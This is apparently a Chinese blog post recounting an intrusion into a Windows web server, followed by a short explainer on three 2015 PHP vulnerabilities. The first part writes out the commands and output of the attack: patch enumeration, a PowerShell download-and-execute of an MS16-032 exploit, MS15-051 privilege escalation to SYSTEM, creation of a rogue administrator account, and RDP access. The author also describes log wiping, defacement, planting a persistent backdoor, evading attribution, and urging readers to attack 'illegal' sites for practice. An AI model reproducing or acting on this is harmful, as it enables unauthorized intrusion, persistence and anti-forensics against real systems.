D:\www\xxxxxxxxxxx.com\about> systeminfo>temp.txt&(for %i in (KB952004 KB970483 KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3011780 KB3036220 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3124280 KB3141780 KB4013389) do @type temp.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a temp.txt KB952004 Not Installed! KB970483 Not Installed! KB977165 Not Installed! KB2160329 Not Installed! KB2503665 Not Installed! KB2592799 Not Installed! KB2707511 Not Installed! KB2829361 Not Installed! KB2850851 Not Installed! KB3000061 Not Installed! KB3011780 Not Installed! KB3036220 Not Installed! KB3045171 Not Installed! KB3077657 Not Installed! KB3079904 Not Installed! KB3134228 Not Installed! KB3143141 Not Installed! KB3124280 Not Installed! KB3141780 Not Installed! KB4013389 Not Installed!
MS16-032 windows本地提权
补丁编号: KB3124280
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user evi1cg test!@#123 /add'" >>1.log
根据1.log记录,宣告失败:
| V | | | | _|| | | |
| | || || . || | | | |
||||__||| ||||
[by b33f -> @FuzzySec]
[?] Operating system core count: 24
[>] Duplicating CreateProcessWithLogonW handles..
[!] No valid thread handles were captured, exiting!
ATM 字体驱动程序中的漏洞可能允许特权提升
漏洞代号: MS15-077
补丁编号: KB3077657
exp 用途: 字体提权
适应平台: 可能该exp 32位系统好使,64位均未成功
D:\www\xxxxxxxxxxx.com\about> elevator.exe
HT Windows Font Exploit modify by skyer
Usage: exp.exe "net user t00ls t00ls /ad"
D:\www\xxxxxxxxxxx.com\about> elevator.exe "net user helps helps@!#me /add"
D:\www\xxxxxxxxxxx.com\about> net user
\ 的用户帐户
-------------------------------------------------------------------------------
Administrator APP_IWAM_9624056 Guest
MYSQL_USER PhpMyAdmin_USER
命令运行完毕,但发生一个或多个错误。
宣告失败!
Windows内核模式驱动CVE-2015-1680信息泄露漏洞
漏洞代号: MS15-051
补丁编号: KB3045171
exp 用途: 本地提权
适应平台: 08 以后的系统基本都可以,成功率较高,菜刀直接可用
D:\www\xxxxxxxxxx.com\about> ms15-051.exe
[#] ms15-051 fixed by zcgonvh
[#] usage: ms15-051 command
[#] eg: ms15-051 "whoami /all"
这里受到 在mysql提权时的影响,把系统当成了32位,忘了上面通过systeminfo得到的系统架构信息是X64位
D:\www\xxxxxxxxxx.com\about> ms15-051.exe whoami
[#] ms15-051 fixed by zcgonvh
[x] please re-compiler this program via x64 platform
换用 ms15-051x64成功提权:
D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe
[#] ms15-051 fixed by zcgonvh
[#] usage: ms15-051 command
[#] eg: ms15-051 "whoami /all"
D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe whoami
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 19140 created.
==============================
nt authority\system
D:\www\xxxxxxxxxx.com\about> whoami
nt authority\iusr
D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe whoami
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 19644 created.
==============================
nt authority\system
D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net user HELP help@!#me123 /add"
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 25540 created.
==============================
密码不满足密码策略的要求。检查最小密码长度、密码复杂性和密码历史的要求。
请键入 NET HELPMSG 2245 以获得更多的帮助。
D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net user HELP HELP@!#me123@@@ /add"
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 19788 created.
==============================
输入的密码超过了 14 个字符。安装了 Windows 2000
以前的 Windows 版本的计算机将不能使用
此帐户。您想继续进行操作吗? (Y/N) [Y]:
没有提供有效的响应。
这个时候尝试了使用空密码,的确是可以创建并且加入管理员组:
D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net user HELP /add"
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 22168 created.
==============================
命令成功完成。
D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net localgroup Administrators HELP /add"
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 22040 created.
==============================
命令成功完成。
这个时候准备登录:需要知道远程桌面端口,于是使用读取注册表的16进制值来获得:
在命令行下执行:
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
返回:
PortNumber REG_DWORD 0x4cfe
随后拿出来 0x4cfe ,转换成10进制,Windows下可以用计算器的程序员模式,
选择HEX
输入 4cfe 即可得到10进制的端口号19710
但是登录的时候提示由于策略原因禁止空密码登录,稍微新一点系统都是禁止空密码登录的。
这时候当然去找google搜索是最快的阿!
最终成功设置了一个符合策略要求的密码:
D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net user HELP 123789456=love"
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 13012 created.
==============================
命令成功完成。
加入管理员组:
还有一种策略就是激活Guest帐户,但是我又担心策略组禁止Guest帐户登录就白忙活了,可自行尝试!
然后使用的密码成功登录,进去清理掉日志,痕迹,打扫战场,深藏功与名!哈哈哈
不可能阿,这个系统里面全是非法彩票网站,最终跳转导向到菠菜!那咋办呢?盘他!必须安排!
先把所有网站的首页文件全部替换成公益404页面,美滋滋!
再留一个面杀后门修改系统进程加上参数后自动将后门注入系统进程,同时禁止安装任何杀软!除非它重装系统!
收工,休息下继续下一波非法网站搜集!
需要练习技能的朋友可以批量采集非法网站作为练习对象!正规网站需要取得授权才能测试!
切忌装逼!保护好自己!
禁止挂黑页的傻屌行为!
全程远程堡垒机操作,全程VPN!
最简单的就是随便找一家服务商开一台机器,VPN连上去,搞完销废机器!
参考:
https://github.com/SecWiki/windows-kernel-exploits
https://www.eviloctal.com/archiver/tid-25278.html
https://klionsec.github.io/2017/04/22/win-0day-privilege/
PHP一次性爆出三个cve漏洞 网络安全
研究人员在近期发现php三个漏洞。这三个漏洞分别是:os命令注入漏洞、在堆里面的整型溢出漏洞,还有个本地段错误漏洞。第一个是新漏洞,后两个是由于补丁修补不全重新导致的漏洞。
首先让我们来看第一个漏洞:OS command injection vulnerability in escapeshellarg[CVE-2015-4642.]
顾名思义,第一个漏洞是一个函数命令注入漏洞。
贴上poc:
poc.php
1
2
3
4
5
6
7
|
<?php
?>
|
1
2
3
4
|
<?php
?>
|
arginfo.php
根据poc,我们发现是一个escapeshellarg()函数命令注入漏洞。
图1:
根据我的本地测试以及作者告诉我们如果输出图1中的内容,则表示你的php版本存在该漏洞。
图2:
若是图2则表示漏洞已经修复。
输出output如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
string(2) "a\"
string(4) string(7) "b -c d\"
string(9) --- ARG INFO ---
array }
|
根据poc作者的解释:
前4行输出的结果是poc.php中var_dump函数的功能。通过比较输出结果与poc.php中第4、5两行,从escapeshellarg函数的输出结果可以看出攻击者可以设置一个字符串,而不是绕过一个参数。
同样,第10行在arginfo.php,这是通过var_dump输出的。通过比较,我们发现系统函数被调用在poc.php的时候是两个参数的,但是在命令行解释的时候是3个参数的。
根据https://git.php.net/?p=php-src.git;a=commitdiff;h=d2ac264ffea5ca2e85640b6736e0c7cd4ee9a4a9发布的补丁信息,我们发现他们过滤了。
通过我们实验室的小伙伴的测试,作者给的poc只有PHP 5.6.9版本受影响,另外测试的PHP 5.4.41不受影响。
接下来是第二个漏洞:PHP 5.6.9 Integer overflow in ftp_genlist() resulting in heap overflow [CVE-2015-4643]
根据Max Spelsberg的邮件内容,我们知道在recv loop,size 可以被递增两处。一个在‘size+=rcvd’,另一个在‘size++’。这意味着size可以递增超过rcvd的每次迭代,从而使溢出检查能够被绕过。
Size能够递增最多rcvd*2次迭代,这就是为什么我曾建议修复rcvd*2,而不仅仅是rcvd。
为了正确的修复这个bug,我建议除了溢出检查以外,还需要排除其他原因导致size通过rcvd增加,或者通过迭代。从而保证溢出检查不被绕过。
值得注意的是,并不是因为分支功能不是必要的,就没必要使其复杂化。
另外我们通过,http://git.php.net/?p=php-src.git;a=commitdiff;h=0765623d6991b62ffcd93ddb6be8a5203a2fa7e2补丁对比 ,
发现对size进行了处理。
最后,让我们来看第三个漏洞:segfault in php_pgsql_meta_data
根据官方bug详情,用一段特殊的php代码,可以引起一个段错误在php_pgsql_meta_data。
1
|
pg_insert( |
这是因为#68741的不完全修复导致的。
Strok_r的返回值不在php_pgsql_meta_data检查导致的一个本地段错误。
详细补丁可通过https://git.php.net/?p=php-src.git;a=commitdiff;h=2cc4e69cc6d8dbc4b3568ad3dd583324a7c11d64查看比较。
综上所述,前两个漏洞要想利用,给看远程的PHP代码是怎么写的,才能触发,而且都是针对PHP 5.6.9这个版本的。最后一个是本地的漏洞,实际攻击用处不大。